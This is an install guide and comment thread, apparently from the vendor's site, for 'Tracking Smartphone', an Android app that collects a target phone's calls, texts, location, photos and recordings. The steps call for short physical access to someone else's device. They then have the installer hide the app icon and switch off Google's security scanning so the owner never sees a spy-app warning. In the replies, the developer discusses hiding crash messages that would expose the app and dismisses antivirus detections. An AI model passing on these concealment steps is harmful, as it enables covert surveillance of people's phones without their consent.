Tracking Smartphone – How to Install

Tracking Smartphone Allows you to monitor your or your dependents mobile via this website. You need to install this app on the device which you want to track remotely. If you want to track your dependents mobile then you need atleast 5 min access to that mobile.

Here are the steps listed to download, install and configure ‘Tracking Smartphone’ App on the device you want to track.

1. Download App from here: https://trackingsmartphone.com/app-download/

2. Once downloaded, install the app on the device.

3. Open the App and enter your ‘Email Id’. Make sure to enter valid email Id as login information will be sent to this id along with the password.

4. Enter the password on the next screen.

5. Once registration is successful, Verify Settings to make sure all tracking is enabled. Call Recordings will be disabled by default, enable it if it’s needed.

6. Hide Icon if you do not wish the app to be shown in the app drawer. To do that click on the top-right menu in the home screen as shown below and click Hide icon. To Unhide icon you need to dial *666* from the normal dialer.

7. As the last step, disable security checks of apps from Google. If you don’t disable the user might get a warning once in a while notifying users about a spy app in their mobile and asking them to uninstall it. To disable Go to Settings -> Google -> Security -> And uncheck “Scan Device for Security threats”. The location of this option might differ in other mobiles.

8. That’s it and you are set. Please note no information will be sent to the server unless it’s pulled by the user himself. And when the user tries to pull data from the device, the device needs to have an active internet connection.

SMS command is removed as SMS can no longer be deleted from the device.

  • Hi,

    I have few queries:
    1. Once the information is pulled from device to the server, does the information (call logs, sms logs, location logs etc) gets automatically cleared from the device?
    2. Do we need to manually clear any log data from device periodically from the device so that it doesn't keep occupying space even after data/information pulled to server? If so what is the way/method/command to clean the data/information from the device?

    • Hi Feng, If you are pulling records regularly then no information in stored on the device. All files once pulled will be deleted from mobile. Only Call Records (if enabled) will be accumulated in mobile in a hidden folder and needs to be pulled regularly.

  • After successful installation, l cannot see anything on the dashboard. My question is if l uninstall from a device can l re-install on the same device? l made more than one download but installed only one any effect on functions?

    • No information is automatically pulled, you need to initiate command and pull it. You can install the app in any number of device with the same login. You need to select the mobile and initiate command and records will be fetched from that device.

    • What error you are getting while opening the apk? You can also try and download WinZip and open the apk in WinZip app, that should also do the trick.

  • Hi Srihari,

    it is not good idea to delete my comments regard to your app. OK. The app is free. But few improvements will be fine for all...

    It would be excellent, great and unbeatable app. But something bad is happening in the application installed on the phone Samsung Galaxy Core Prime VE (SM-G361F), OS Android 5.1 Lollipop. And I think it is general problem of your app...

    App usually records 20s - 1min audio. Usually. But 5 mins and more audio is not recorded in the absolute majority of cases. And after sending a command (ie. Audio Recordings, Video capture or Pics capture) program finishes its work and phone user is informed about the crash app on the phone display. Which is not good. It is too bad.

    Device details, Contacts, Calls, SMSs, Locations, Browser history command seems work fine.

    Is it possible to treat these errors?
    1. application crash after sending a command (Audio Recording, ...)
    2. to prevent displaying information about the crash to the phone's display

    Thank you very much for your feedback.

    And second notice...

    Hi Srihari again,

    even a small supplementary question... The Gallery Pics command scan only new pictures in phone gallery. Pictures captured before installing app are not send to the database. Maybe app sends only pictures stored in internal phone memory, but not stored in external memory (SD card).

    What algorithm is used to send Gallery Pics?

    Thanx for your reply.

    • Hi Fionna,

      Your comments are not deleted (No comments are deleted). You have commented on a different blog (https://trackingsmartphone.com/tracking-smartphone-description/) and i can see your comments.

      1. Will check on the audio duration (of more than 5 min not getting recorded). I had not received that error before from anyone.
      2. Regarding Gallery pics, the app after installation for the first time sends all pics (including old) to the server, after that it sends only the new ones. If you delete the old pics from server you might not get them again as uploading all pics everytime will require huge space on the server.
      3. We handle most of the crashes and its not shown on the mobile but some system related crashes cannot be handled and shows up to the user. I understand this will expose the app, will check if this can be fixed as well.

      Thanks for your feedback. :)

    • Unfortunately many Anti-virus app detects it as Virus as the app does too many things in background. The mobile can also be controlled via SMS so its obvious that Anti-virus will try to flag it. But dont worry, your data is safe in server and its uploaded to our server only when you login and initiate command.

  • hello Srihari
    the GPS location shows more than 200 meter away from the actual place
    how can you help me
    and another thing i download it to galaxy s5 but sad can`t open file??

    • If it says 'Cant open file', request you to download WinZip app and then open the app in WinZip and try to install. I tried this in one mobile and it worked.
